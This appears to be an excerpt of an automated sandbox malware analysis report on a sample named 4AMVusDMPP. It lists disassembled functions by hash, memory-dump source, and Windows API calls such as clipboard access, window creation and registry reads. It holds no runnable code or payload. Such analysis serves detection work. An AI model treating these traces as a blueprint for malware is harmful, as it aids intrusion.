Instruction ID: f3034d4f7d69c1f44658128b1c5a77720d84a177d68e03115e312b1a103f7199
Opcode Fuzzy Hash: 703e3af368fff5ddcb3e442487c9fef884187cf4e9e5ecd3a9b7c405a30af938
Instruction Fuzzy Hash: D3C19074E00218DFEB14DFA5C994B9DBBB2AF89300F6081AAD809BB355DB355E85CF50

Function 36481400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a432f872b6d393749e0b36ebf1b24ed860b8ea3e932d1ef44d4ce8d69388d7
Instruction ID: f7b6fc4c72586caa4a98a7c316b5f9247fc5f7330ed3877cf1f36d7ca1c871a9
Opcode Fuzzy Hash: 61a432f872b6d393749e0b36ebf1b24ed860b8ea3e932d1ef44d4ce8d69388d7
Instruction Fuzzy Hash: 42C1B174E00218DFDB14DFA5C994B9DBBB2AF89300F6081AAD809BB355DB355E85CF50

Function 36486C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4763b4bb23b57cc3fb22b7fd902c167eb130e4d457314189d5c32ea9f5eeb6c
Instruction ID: 69b92defe6ea912f0136a461aa7f6d4e64cdf44b73d8c2c18ad88bfbc193dfec
Opcode Fuzzy Hash: b4763b4bb23b57cc3fb22b7fd902c167eb130e4d457314189d5c32ea9f5eeb6c
Instruction Fuzzy Hash: 08C1B074E00218DFEB14DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E85CF10

Function 364874C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c28b3d78b387cf20012e55b4cdf33cc107a528eea751eb2b8bea43abd43cb90
Instruction ID: 7915219f81bab19fb4d8838f9fe37780e45e388eac8dea9f9271fce62b794399
Opcode Fuzzy Hash: 4c28b3d78b387cf20012e55b4cdf33cc107a528eea751eb2b8bea43abd43cb90
Instruction Fuzzy Hash: 5DC1AF74E00218DFEB14DFA9C994B9DBBB2AF89300F6081A9D809BB355DB355E85CF10

Function 36481CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3906c831a3c658c48838da89162c8bc049fd01479d6b3fac0daaa3658b875dd
Instruction ID: f20eaf5b9858eb467e1788f6fcbac9ff7685145ef4f46c36b515b6cf71edd446
Opcode Fuzzy Hash: b3906c831a3c658c48838da89162c8bc049fd01479d6b3fac0daaa3658b875dd
Instruction Fuzzy Hash: 3BC1CF74E00218DFEB14DFA9C994B9DBBB2AF89300F6081A9D809BB355DB355E81CF50

Function 36482560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331c2377075df1f364b7ff8af1c36c329538e359292242f955b160e41b6b6d35
Instruction ID: 84b3b133b4bba3a3c0a48e8230fcbce04eb24cdda9dfea064ccd9864059e1930
Opcode Fuzzy Hash: 331c2377075df1f364b7ff8af1c36c329538e359292242f955b160e41b6b6d35
Instruction Fuzzy Hash: 22C1CF74E00218DFEB14DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E85CF54

Function 36484DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec46830cfbcd8f15b6c965394720f7a1cb371081389c7c750712b8a280c60b8
Instruction ID: dd3b27d569e71434ce80e00a2924557fa94ba951ce5010147da2d57ac80607c9
Opcode Fuzzy Hash: 3ec46830cfbcd8f15b6c965394720f7a1cb371081389c7c750712b8a280c60b8
Instruction Fuzzy Hash: B1C1B074E00218DFEB14DFA9C994B9DBBB2AF89300F6081A9D809BB355DB355E85CF50

Function 36483268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f7d142013162c8531817435b63f19c3a69934c87883a7d4dfe4a5de11e6f6f
Instruction ID: d574f17228cef8eed76ead25c70b949329de13efd18f80a57f52beff3d7516b2
Opcode Fuzzy Hash: d9f7d142013162c8531817435b63f19c3a69934c87883a7d4dfe4a5de11e6f6f
Instruction Fuzzy Hash: BAC1B074E00218DFEB15DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E85CF10

Function 36485208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0776b2087a26aeb4b424c4887f8f8cc180b99afe79a31b20b5888456aa1439e9
Instruction ID: a803c6d8b433e39e2b5031686704fdb62f791724b503aca3f86abc858de2e88b
Opcode Fuzzy Hash: 0776b2087a26aeb4b424c4887f8f8cc180b99afe79a31b20b5888456aa1439e9
Instruction Fuzzy Hash: 35C1B074E00218DFEB54DFA9C994B9DBBB2AF89300F6081A9D809BB355DB355E85CF10

Function 36485AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37f03001d0df270a4cec69ba1e900c57194476dcd210049617e5ab842e52c574
Instruction ID: 897f80792efac83dd7a468f8160d4bd4f9c854ea50b186114e2ce73923e8d78a
Opcode Fuzzy Hash: 37f03001d0df270a4cec69ba1e900c57194476dcd210049617e5ab842e52c574
Instruction Fuzzy Hash: 68C1BF74E00218DFEB54DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E85CF10

Function 36486368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efb5b823c4464640e40d02095b5b85b50b39e9eb3f2b524fff7ba86d04964026
Instruction ID: 22dcc3301c0e992a4c7766b4a1d2f15ada3d24a3f66f94825d51570d29f70d5d
Opcode Fuzzy Hash: efb5b823c4464640e40d02095b5b85b50b39e9eb3f2b524fff7ba86d04964026
Instruction Fuzzy Hash: 4CC1C074E00218DFEB54DFA9C994B9DBBB2AF89300F6081A9D809BB355DB355E81CF50

Function 36483B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353a005059353f646c6621c3d29448258682c05a4f70dc9c62dc2c69ac4a70fe
Instruction ID: 410aaa35decd13320f1f558f6a31f813159d798edd7351f9f47382db4bcdec8a
Opcode Fuzzy Hash: 353a005059353f646c6621c3d29448258682c05a4f70dc9c62dc2c69ac4a70fe
Instruction Fuzzy Hash: 81C1B174E00218DFEB15DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E85CF50

Function 364843C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 666a1c3ace74563c5b24fc2635ee9f185bf320fd04b9b3233195adf175a529e6
Instruction ID: 13b22d21d07ac06536e7658775cf87da977e2a0ce61dd553d173be2daee44c7d
Opcode Fuzzy Hash: 666a1c3ace74563c5b24fc2635ee9f185bf320fd04b9b3233195adf175a529e6
Instruction Fuzzy Hash: A3C1BF74E00218DFEB14DFA9D994B9DBBB2AF89300F6081A9D809BB355DB355E85CF10

Function 36481858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 496f486f58c121266794f2e994cd8e123375ac597197d5f9e34c024a0822e3e8
Instruction ID: 27dbb73f403f2647f0dc1fa78a0e56ea22f4b7e9de256d36dd86de850df32cd1
Opcode Fuzzy Hash: 496f486f58c121266794f2e994cd8e123375ac597197d5f9e34c024a0822e3e8
Instruction Fuzzy Hash: AAC1A074E00218DFEB14DFA5C994B9DBBB2AF89300F6081AAD809BB355DB355E85CF50

Function 36487070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f99df37992e2adacfa332ce6378b269df21f6f857b61d86773217c3c1e6d46c
Instruction ID: cd93e44b5ef0935430c1254bdd58cfabd7220198196f21d607524e2d595c4e7a
Opcode Fuzzy Hash: 7f99df37992e2adacfa332ce6378b269df21f6f857b61d86773217c3c1e6d46c
Instruction Fuzzy Hash: 7EC1AF74E00218DFEB14DFA9C994B9DBBB2AF89300F6081A9D809BB355DB355E85CF50

Function 36484820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ad558fbbfe8cf1e6c5f9d1b118b2f5481ca40f55864be0ec4b83361fa353bb3
Instruction ID: 6d479ba5f7a7a3752cb2adf3b094502571c7f2d1c7ce68ed4f3661599ae58487
Opcode Fuzzy Hash: 9ad558fbbfe8cf1e6c5f9d1b118b2f5481ca40f55864be0ec4b83361fa353bb3
Instruction Fuzzy Hash: B9C1C174E00218DFEB14DFA9D994B9DBBB2AF89300F6081A9D809BB355DB355E85CF10

Function 36482108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d90b798cc7bb6da2526f6a4fd94cadcd220344d92b36fd094098c79c22ad255
Instruction ID: b8db20d3005d6c96f6395cd2ebf9f981e10ba2a74749f9bccf432068133f730f
Opcode Fuzzy Hash: 2d90b798cc7bb6da2526f6a4fd94cadcd220344d92b36fd094098c79c22ad255
Instruction Fuzzy Hash: E2C1CF74E00218DFEB14DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E81CF54

Function 364829B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4b5f09c53c57a5b7d7c1e6386bc8f9b122ee5f3aacd42af288c474afe73c0b
Instruction ID: c161e8cffec582db0a0239308c179eeee12212ddfe2ab1ef56e94d7a8b0fcccb
Opcode Fuzzy Hash: 3b4b5f09c53c57a5b7d7c1e6386bc8f9b122ee5f3aacd42af288c474afe73c0b
Instruction Fuzzy Hash: BEC1A074E00218DFEB14DFA9C994B9DBBB2AF89300F6080A9D809BB355DB355E85CF54

Function 3592C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70267ce8e60781a183f866a3f14db5eb0fe56dcebfdf6192ab20b48ee52417c7
Instruction ID: c86660b5ccb25a67d9b7f57d8c547042dfafed81340d413c9730d2ee2784abcb
Opcode Fuzzy Hash: 70267ce8e60781a183f866a3f14db5eb0fe56dcebfdf6192ab20b48ee52417c7
Instruction Fuzzy Hash: 73C18E74E01218DFDB14DFA9C994B9DBBB2AF89300F6081A9D809BB355DB359E85CF10

Function 3592B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7354ea9a842665e580bb13536860cdf76e9c8551fd5c8061fc90892ce0b45b78
Instruction ID: da7873b2d0d6bf1b2fee3f7360ee9f04ef4788b129633800792ef458379dac22
Opcode Fuzzy Hash: 7354ea9a842665e580bb13536860cdf76e9c8551fd5c8061fc90892ce0b45b78
Instruction Fuzzy Hash: 3CC17D74E01218DFDB14DFA9C994B9DBBB2AF89300F6081A9D809BB255DB355E85CF10

Function 3592B944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f42da9b1b67380913e35f7bc6c49d42b9305a068c6a8ae1e60ea7d70d056191
Instruction ID: 741a275022d1eb4eb7b674019b3b207861b81b6b1ae202065156c6ebf9201d94
Opcode Fuzzy Hash: 4f42da9b1b67380913e35f7bc6c49d42b9305a068c6a8ae1e60ea7d70d056191
Instruction Fuzzy Hash: E4C19E74E00218DFDB14DFA9C994B9DBBB2AF89300F6081A9D809BB255DB355E85CF10

Function 3592E790 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38910ec7f4b5a08f8155579f6bacc956f7b43f370df49cb9cc6ca2772fbf0ea0
Instruction ID: bd9c5f2a9f4cab275b94f7c57c355c724d51235233f83b156cdacd78835fbea3
Opcode Fuzzy Hash: 38910ec7f4b5a08f8155579f6bacc956f7b43f370df49cb9cc6ca2772fbf0ea0
Instruction Fuzzy Hash: 66C19074E00218DFDB14DFA5C994BADBBB2BF89300F6081A9D809AB355DB355E85CF10

Function 3592EBF2 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65ca3bc8892d20cc096ac0605d1259f5c10a46fd7a11ccaaa9c9810c1ac65a82
Instruction ID: ead4b9da7ba69b6029d9fdb0384378130b9e42f6abcd8bc9c5462f626d6ae696
Opcode Fuzzy Hash: 65ca3bc8892d20cc096ac0605d1259f5c10a46fd7a11ccaaa9c9810c1ac65a82
Instruction Fuzzy Hash: BBC19F74E00218DFDB14DFA5C994BADBBB2AF89300F6081A9D809BB355DB359E85CF50

Function 36488193 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5757ff466f94e97ef6e14523c051d31ac18521d3a2d08c6d809defe262016d03
Instruction ID: 61c566450b700b67e12f4fc56c726bf5d5e2a16ac357370e43aa69d9dcb15b86
Opcode Fuzzy Hash: 5757ff466f94e97ef6e14523c051d31ac18521d3a2d08c6d809defe262016d03
Instruction Fuzzy Hash: 53A19D74E05228DFEB64DF64C854B9ABBB2BB8A301F1085E9D40DA7350DB369E81CF51

Function 36488373 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e257b49b958721623c757cb6f3f1ab3704011476fd9fc5b9a13f131f0aed10
Instruction ID: 3acc7735027679df6add53b3e9ca38fb6bfbc4aaefaa29cd92cddf2dde2cecf8
Opcode Fuzzy Hash: d8e257b49b958721623c757cb6f3f1ab3704011476fd9fc5b9a13f131f0aed10
Instruction Fuzzy Hash: DA519E74A05229DFDB64DF24C854B9AB7B2BF4A301F5085EAD40AB7350CB369E82CF50

Function 3648CBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6126f6782bc394eb680fb828a52a2a1637dc82cc6d6701763c992c645c94bec
Instruction ID: 1bdf8f329f48b87d9ca8d07fc8f4a8ed8c311899dea82c0860ca6566baf644b8
Opcode Fuzzy Hash: c6126f6782bc394eb680fb828a52a2a1637dc82cc6d6701763c992c645c94bec
Instruction Fuzzy Hash: BDD09E75E4421C8BDB11DFA4D8406ECB370BB9A304F0025E5844CB7101D7719E94DE56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd32, xrefs: 00403D14
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd20, xrefs: 00403D06
(7B, xrefs: 00403B04
.DEFAULT\Control Panel\International, xrefs: 00403B44
.exe, xrefs: 00403BE6
RichEdit, xrefs: 00403D33
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
_Nb, xrefs: 00403C5C, 00403CC4

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
